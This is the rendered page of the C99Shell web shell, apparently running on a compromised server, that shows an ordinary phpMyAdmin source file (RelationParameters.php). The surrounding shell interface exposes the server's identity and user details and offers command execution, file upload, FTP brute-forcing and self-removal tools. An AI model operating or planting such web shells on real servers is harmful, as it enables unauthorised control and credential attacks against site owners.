!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/ConfigStorage/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RelationParameters.php (20.17 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\ConfigStorage;

use 
PhpMyAdmin\ConfigStorage\Features\BookmarkFeature;
use 
PhpMyAdmin\ConfigStorage\Features\BrowserTransformationFeature;
use 
PhpMyAdmin\ConfigStorage\Features\CentralColumnsFeature;
use 
PhpMyAdmin\ConfigStorage\Features\ColumnCommentsFeature;
use 
PhpMyAdmin\ConfigStorage\Features\ConfigurableMenusFeature;
use 
PhpMyAdmin\ConfigStorage\Features\DatabaseDesignerSettingsFeature;
use 
PhpMyAdmin\ConfigStorage\Features\DisplayFeature;
use 
PhpMyAdmin\ConfigStorage\Features\ExportTemplatesFeature;
use 
PhpMyAdmin\ConfigStorage\Features\FavoriteTablesFeature;
use 
PhpMyAdmin\ConfigStorage\Features\NavigationItemsHidingFeature;
use 
PhpMyAdmin\ConfigStorage\Features\PdfFeature;
use 
PhpMyAdmin\ConfigStorage\Features\RecentlyUsedTablesFeature;
use 
PhpMyAdmin\ConfigStorage\Features\RelationFeature;
use 
PhpMyAdmin\ConfigStorage\Features\SavedQueryByExampleSearchesFeature;
use 
PhpMyAdmin\ConfigStorage\Features\SqlHistoryFeature;
use 
PhpMyAdmin\ConfigStorage\Features\TrackingFeature;
use 
PhpMyAdmin\ConfigStorage\Features\UiPreferencesFeature;
use 
PhpMyAdmin\ConfigStorage\Features\UserPreferencesFeature;
use 
PhpMyAdmin\Dbal\DatabaseName;
use 
PhpMyAdmin\Dbal\TableName;
use 
PhpMyAdmin\Version;
use 
Webmozart\Assert\Assert;
use 
Webmozart\Assert\InvalidArgumentException;

use function 
is_string;

/**
 * @psalm-immutable
 */
final class RelationParameters
{
    
/**
     * @var string|null
     * @psalm-var non-empty-string|null
     */
    
public $user;
    
/** @var DatabaseName|null */
    
public $db;

    
/** @var BookmarkFeature|null */
    
public $bookmarkFeature;
    
/** @var BrowserTransformationFeature|null */
    
public $browserTransformationFeature;
    
/** @var CentralColumnsFeature|null */
    
public $centralColumnsFeature;
    
/** @var ColumnCommentsFeature|null */
    
public $columnCommentsFeature;
    
/** @var ConfigurableMenusFeature|null */
    
public $configurableMenusFeature;
    
/** @var DatabaseDesignerSettingsFeature|null */
    
public $databaseDesignerSettingsFeature;
    
/** @var DisplayFeature|null */
    
public $displayFeature;
    
/** @var ExportTemplatesFeature|null */
    
public $exportTemplatesFeature;
    
/** @var FavoriteTablesFeature|null */
    
public $favoriteTablesFeature;
    
/** @var NavigationItemsHidingFeature|null */
    
public $navigationItemsHidingFeature;
    
/** @var PdfFeature|null */
    
public $pdfFeature;
    
/** @var RecentlyUsedTablesFeature|null */
    
public $recentlyUsedTablesFeature;
    
/** @var RelationFeature|null */
    
public $relationFeature;
    
/** @var SavedQueryByExampleSearchesFeature|null */
    
public $savedQueryByExampleSearchesFeature;
    
/** @var SqlHistoryFeature|null */
    
public $sqlHistoryFeature;
    
/** @var TrackingFeature|null */
    
public $trackingFeature;
    
/** @var UiPreferencesFeature|null */
    
public $uiPreferencesFeature;
    
/** @var UserPreferencesFeature|null */
    
public $userPreferencesFeature;

    
/**
     * @psalm-param non-empty-string|null $user
     */
    
public function __construct(
        ?
string $user,
        ?
DatabaseName $db,
        ?
BookmarkFeature $bookmarkFeature null,
        ?
BrowserTransformationFeature $browserTransformationFeature null,
        ?
CentralColumnsFeature $centralColumnsFeature null,
        ?
ColumnCommentsFeature $columnCommentsFeature null,
        ?
ConfigurableMenusFeature $configurableMenusFeature null,
        ?
DatabaseDesignerSettingsFeature $databaseDesignerSettingsFeature null,
        ?
DisplayFeature $displayFeature null,
        ?
ExportTemplatesFeature $exportTemplatesFeature null,
        ?
FavoriteTablesFeature $favoriteTablesFeature null,
        ?
NavigationItemsHidingFeature $navigationItemsHidingFeature null,
        ?
PdfFeature $pdfFeature null,
        ?
RecentlyUsedTablesFeature $recentlyUsedTablesFeature null,
        ?
RelationFeature $relationFeature null,
        ?
SavedQueryByExampleSearchesFeature $savedQueryByExampleSearchesFeature null,
        ?
SqlHistoryFeature $sqlHistoryFeature null,
        ?
TrackingFeature $trackingFeature null,
        ?
UiPreferencesFeature $uiPreferencesFeature null,
        ?
UserPreferencesFeature $userPreferencesFeature null
    
) {
        
$this->user $user;
        
$this->db $db;
        
$this->bookmarkFeature $bookmarkFeature;
        
$this->browserTransformationFeature $browserTransformationFeature;
        
$this->centralColumnsFeature $centralColumnsFeature;
        
$this->columnCommentsFeature $columnCommentsFeature;
        
$this->configurableMenusFeature $configurableMenusFeature;
        
$this->databaseDesignerSettingsFeature $databaseDesignerSettingsFeature;
        
$this->displayFeature $displayFeature;
        
$this->exportTemplatesFeature $exportTemplatesFeature;
        
$this->favoriteTablesFeature $favoriteTablesFeature;
        
$this->navigationItemsHidingFeature $navigationItemsHidingFeature;
        
$this->pdfFeature $pdfFeature;
        
$this->recentlyUsedTablesFeature $recentlyUsedTablesFeature;
        
$this->relationFeature $relationFeature;
        
$this->savedQueryByExampleSearchesFeature $savedQueryByExampleSearchesFeature;
        
$this->sqlHistoryFeature $sqlHistoryFeature;
        
$this->trackingFeature $trackingFeature;
        
$this->uiPreferencesFeature $uiPreferencesFeature;
        
$this->userPreferencesFeature $userPreferencesFeature;
    }

    
/**
     * @param mixed[] $params
     */
    
public static function fromArray(array $params): self
    
{
        
$user null;
        if (isset(
$params['user']) && is_string($params['user']) && $params['user'] !== '') {
            
$user $params['user'];
        }

        try {
            
Assert::keyExists($params'db');
            
$db DatabaseName::fromValue($params['db']);
        } catch (
InvalidArgumentException $exception) {
            return new 
self($usernull);
        }

        
$bookmarkFeature null;
        if (isset(
$params['bookmarkwork'], $params['bookmark']) && $params['bookmarkwork']) {
            
$bookmark self::getTableName($params['bookmark']);
            if (
$bookmark !== null) {
                
$bookmarkFeature = new BookmarkFeature($db$bookmark);
            }
        }

        
$columnInfo self::getTableName($params['column_info'] ?? null);
        
$browserTransformationFeature null;
        if (isset(
$params['mimework']) && $params['mimework'] && $columnInfo !== null) {
            
$browserTransformationFeature = new BrowserTransformationFeature($db$columnInfo);
        }

        
$columnCommentsFeature null;
        if (isset(
$params['commwork']) && $params['commwork'] && $columnInfo !== null) {
            
$columnCommentsFeature = new ColumnCommentsFeature($db$columnInfo);
        }

        
$centralColumnsFeature null;
        if (isset(
$params['centralcolumnswork'], $params['central_columns']) && $params['centralcolumnswork']) {
            
$centralColumns self::getTableName($params['central_columns']);
            if (
$centralColumns !== null) {
                
$centralColumnsFeature = new CentralColumnsFeature($db$centralColumns);
            }
        }

        
$configurableMenusFeature null;
        if (isset(
$params['menuswork'], $params['usergroups'], $params['users']) && $params['menuswork']) {
            
$userGroups self::getTableName($params['usergroups']);
            
$users self::getTableName($params['users']);
            if (
$userGroups !== null && $users !== null) {
                
$configurableMenusFeature = new ConfigurableMenusFeature($db$userGroups$users);
            }
        }

        
$databaseDesignerSettingsFeature null;
        if (isset(
$params['designersettingswork'], $params['designer_settings']) && $params['designersettingswork']) {
            
$designerSettings self::getTableName($params['designer_settings']);
            if (
$designerSettings !== null) {
                
$databaseDesignerSettingsFeature = new DatabaseDesignerSettingsFeature($db$designerSettings);
            }
        }

        
$relation self::getTableName($params['relation'] ?? null);
        
$displayFeature null;
        if (isset(
$params['displaywork'], $params['table_info']) && $params['displaywork'] && $relation !== null) {
            
$tableInfo self::getTableName($params['table_info']);
            if (
$tableInfo !== null) {
                
$displayFeature = new DisplayFeature($db$relation$tableInfo);
            }
        }

        
$exportTemplatesFeature null;
        if (isset(
$params['exporttemplateswork'], $params['export_templates']) && $params['exporttemplateswork']) {
            
$exportTemplates self::getTableName($params['export_templates']);
            if (
$exportTemplates !== null) {
                
$exportTemplatesFeature = new ExportTemplatesFeature($db$exportTemplates);
            }
        }

        
$favoriteTablesFeature null;
        if (isset(
$params['favoritework'], $params['favorite']) && $params['favoritework']) {
            
$favorite self::getTableName($params['favorite']);
            if (
$favorite !== null) {
                
$favoriteTablesFeature = new FavoriteTablesFeature($db$favorite);
            }
        }

        
$navigationItemsHidingFeature null;
        if (isset(
$params['navwork'], $params['navigationhiding']) && $params['navwork']) {
            
$navigationHiding self::getTableName($params['navigationhiding']);
            if (
$navigationHiding !== null) {
                
$navigationItemsHidingFeature = new NavigationItemsHidingFeature($db$navigationHiding);
            }
        }

        
$pdfFeature null;
        if (isset(
$params['pdfwork'], $params['pdf_pages'], $params['table_coords']) && $params['pdfwork']) {
            
$pdfPages self::getTableName($params['pdf_pages']);
            
$tableCoords self::getTableName($params['table_coords']);
            if (
$pdfPages !== null && $tableCoords !== null) {
                
$pdfFeature = new PdfFeature($db$pdfPages$tableCoords);
            }
        }

        
$recentlyUsedTablesFeature null;
        if (isset(
$params['recentwork'], $params['recent']) && $params['recentwork']) {
            
$recent self::getTableName($params['recent']);
            if (
$recent !== null) {
                
$recentlyUsedTablesFeature = new RecentlyUsedTablesFeature($db$recent);
            }
        }

        
$relationFeature null;
        if (isset(
$params['relwork']) && $params['relwork'] && $relation !== null) {
            
$relationFeature = new RelationFeature($db$relation);
        }

        
$savedQueryByExampleSearchesFeature null;
        if (isset(
$params['savedsearcheswork'], $params['savedsearches']) && $params['savedsearcheswork']) {
            
$savedSearches self::getTableName($params['savedsearches']);
            if (
$savedSearches !== null) {
                
$savedQueryByExampleSearchesFeature = new SavedQueryByExampleSearchesFeature($db$savedSearches);
            }
        }

        
$sqlHistoryFeature null;
        if (isset(
$params['historywork'], $params['history']) && $params['historywork']) {
            
$history self::getTableName($params['history']);
            if (
$history !== null) {
                
$sqlHistoryFeature = new SqlHistoryFeature($db$history);
            }
        }

        
$trackingFeature null;
        if (isset(
$params['trackingwork'], $params['tracking']) && $params['trackingwork']) {
            
$tracking self::getTableName($params['tracking']);
            if (
$tracking !== null) {
                
$trackingFeature = new TrackingFeature($db$tracking);
            }
        }

        
$uiPreferencesFeature null;
        if (isset(
$params['uiprefswork'], $params['table_uiprefs']) && $params['uiprefswork']) {
            
$tableUiPrefs self::getTableName($params['table_uiprefs']);
            if (
$tableUiPrefs !== null) {
                
$uiPreferencesFeature = new UiPreferencesFeature($db$tableUiPrefs);
            }
        }

        
$userPreferencesFeature null;
        if (isset(
$params['userconfigwork'], $params['userconfig']) && $params['userconfigwork']) {
            
$userConfig self::getTableName($params['userconfig']);
            if (
$userConfig !== null) {
                
$userPreferencesFeature = new UserPreferencesFeature($db$userConfig);
            }
        }

        return new 
self(
            
$user,
            
$db,
            
$bookmarkFeature,
            
$browserTransformationFeature,
            
$centralColumnsFeature,
            
$columnCommentsFeature,
            
$configurableMenusFeature,
            
$databaseDesignerSettingsFeature,
            
$displayFeature,
            
$exportTemplatesFeature,
            
$favoriteTablesFeature,
            
$navigationItemsHidingFeature,
            
$pdfFeature,
            
$recentlyUsedTablesFeature,
            
$relationFeature,
            
$savedQueryByExampleSearchesFeature,
            
$sqlHistoryFeature,
            
$trackingFeature,
            
$uiPreferencesFeature,
            
$userPreferencesFeature
        
);
    }

    
/**
     * @return array<string, bool|string|null>
     * @psalm-return array{
     *   version: string,
     *   user: (string|null),
     *   db: (string|null),
     *   bookmark: (string|null),
     *   central_columns: (string|null),
     *   column_info: (string|null),
     *   designer_settings: (string|null),
     *   export_templates: (string|null),
     *   favorite: (string|null),
     *   history: (string|null),
     *   navigationhiding: (string|null),
     *   pdf_pages: (string|null),
     *   recent: (string|null),
     *   relation: (string|null),
     *   savedsearches: (string|null),
     *   table_coords: (string|null),
     *   table_info: (string|null),
     *   table_uiprefs: (string|null),
     *   tracking: (string|null),
     *   userconfig: (string|null),
     *   usergroups: (string|null),
     *   users: (string|null),
     *   bookmarkwork: bool,
     *   mimework: bool,
     *   centralcolumnswork: bool,
     *   commwork: bool,
     *   menuswork: bool,
     *   designersettingswork: bool,
     *   displaywork: bool,
     *   exporttemplateswork: bool,
     *   favoritework: bool,
     *   navwork: bool,
     *   pdfwork: bool,
     *   recentwork: bool,
     *   relwork: bool,
     *   savedsearcheswork: bool,
     *   historywork: bool,
     *   trackingwork: bool,
     *   uiprefswork: bool,
     *   userconfigwork: bool,
     *   allworks: bool
     * }
     */
    
public function toArray(): array
    {
        
$columnInfo null;
        if (
$this->columnCommentsFeature !== null) {
            
$columnInfo $this->columnCommentsFeature->columnInfo->getName();
        } elseif (
$this->browserTransformationFeature !== null) {
            
$columnInfo $this->browserTransformationFeature->columnInfo->getName();
        }

        
$relation null;
        if (
$this->relationFeature !== null) {
            
$relation $this->relationFeature->relation->getName();
        } elseif (
$this->displayFeature !== null) {
            
$relation $this->displayFeature->relation->getName();
        }

        return [
            
'version' => Version::VERSION,
            
'user' => $this->user,
            
'db' => $this->db !== null $this->db->getName() : null,
            
'bookmark' => $this->bookmarkFeature !== null $this->bookmarkFeature->bookmark->getName() : null,
            
'central_columns' => $this->centralColumnsFeature !== null
                
$this->centralColumnsFeature->centralColumns->getName()
                : 
null,
            
'column_info' => $columnInfo,
            
'designer_settings' => $this->databaseDesignerSettingsFeature !== null
                
$this->databaseDesignerSettingsFeature->designerSettings->getName()
                : 
null,
            
'export_templates' => $this->exportTemplatesFeature !== null
                
$this->exportTemplatesFeature->exportTemplates->getName()
                : 
null,
            
'favorite' => $this->favoriteTablesFeature !== null
                
$this->favoriteTablesFeature->favorite->getName()
                : 
null,
            
'history' => $this->sqlHistoryFeature !== null $this->sqlHistoryFeature->history->getName() : null,
            
'navigationhiding' => $this->navigationItemsHidingFeature !== null
                
$this->navigationItemsHidingFeature->navigationHiding->getName()
                : 
null,
            
'pdf_pages' => $this->pdfFeature !== null $this->pdfFeature->pdfPages->getName() : null,
            
'recent' => $this->recentlyUsedTablesFeature !== null
                
$this->recentlyUsedTablesFeature->recent->getName()
                : 
null,
            
'relation' => $relation,
            
'savedsearches' => $this->savedQueryByExampleSearchesFeature !== null
                
$this->savedQueryByExampleSearchesFeature->savedSearches->getName()
                : 
null,
            
'table_coords' => $this->pdfFeature !== null $this->pdfFeature->tableCoords->getName() : null,
            
'table_info' => $this->displayFeature !== null $this->displayFeature->tableInfo->getName() : null,
            
'table_uiprefs' => $this->uiPreferencesFeature !== null
                
$this->uiPreferencesFeature->tableUiPrefs->getName()
                : 
null,
            
'tracking' => $this->trackingFeature !== null $this->trackingFeature->tracking->getName() : null,
            
'userconfig' => $this->userPreferencesFeature !== null
                
$this->userPreferencesFeature->userConfig->getName()
                : 
null,
            
'usergroups' => $this->configurableMenusFeature !== null
                
$this->configurableMenusFeature->userGroups->getName()
                : 
null,
            
'users' => $this->configurableMenusFeature !== null
                
$this->configurableMenusFeature->users->getName()
                : 
null,
            
'bookmarkwork' => $this->bookmarkFeature !== null,
            
'mimework' => $this->browserTransformationFeature !== null,
            
'centralcolumnswork' => $this->centralColumnsFeature !== null,
            
'commwork' => $this->columnCommentsFeature !== null,
            
'menuswork' => $this->configurableMenusFeature !== null,
            
'designersettingswork' => $this->databaseDesignerSettingsFeature !== null,
            
'displaywork' => $this->displayFeature !== null,
            
'exporttemplateswork' => $this->exportTemplatesFeature !== null,
            
'favoritework' => $this->favoriteTablesFeature !== null,
            
'navwork' => $this->navigationItemsHidingFeature !== null,
            
'pdfwork' => $this->pdfFeature !== null,
            
'recentwork' => $this->recentlyUsedTablesFeature !== null,
            
'relwork' => $this->relationFeature !== null,
            
'savedsearcheswork' => $this->savedQueryByExampleSearchesFeature !== null,
            
'historywork' => $this->sqlHistoryFeature !== null,
            
'trackingwork' => $this->trackingFeature !== null,
            
'uiprefswork' => $this->uiPreferencesFeature !== null,
            
'userconfigwork' => $this->userPreferencesFeature !== null,
            
'allworks' => $this->hasAllFeatures(),
        ];
    }

    public function 
hasAllFeatures(): bool
    
{
        return 
$this->bookmarkFeature !== null
            
&& $this->browserTransformationFeature !== null
            
&& $this->centralColumnsFeature !== null
            
&& $this->columnCommentsFeature !== null
            
&& $this->configurableMenusFeature !== null
            
&& $this->databaseDesignerSettingsFeature !== null
            
&& $this->displayFeature !== null
            
&& $this->exportTemplatesFeature !== null
            
&& $this->favoriteTablesFeature !== null
            
&& $this->navigationItemsHidingFeature !== null
            
&& $this->pdfFeature !== null
            
&& $this->recentlyUsedTablesFeature !== null
            
&& $this->relationFeature !== null
            
&& $this->savedQueryByExampleSearchesFeature !== null
            
&& $this->sqlHistoryFeature !== null
            
&& $this->trackingFeature !== null
            
&& $this->uiPreferencesFeature !== null
            
&& $this->userPreferencesFeature !== null;
    }

    
/**
     * @param mixed $tableName
     */
    
private static function getTableName($tableName): ?TableName
    
{
        try {
            return 
TableName::fromValue($tableName);
        } catch (
InvalidArgumentException $exception) {
            return 
null;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--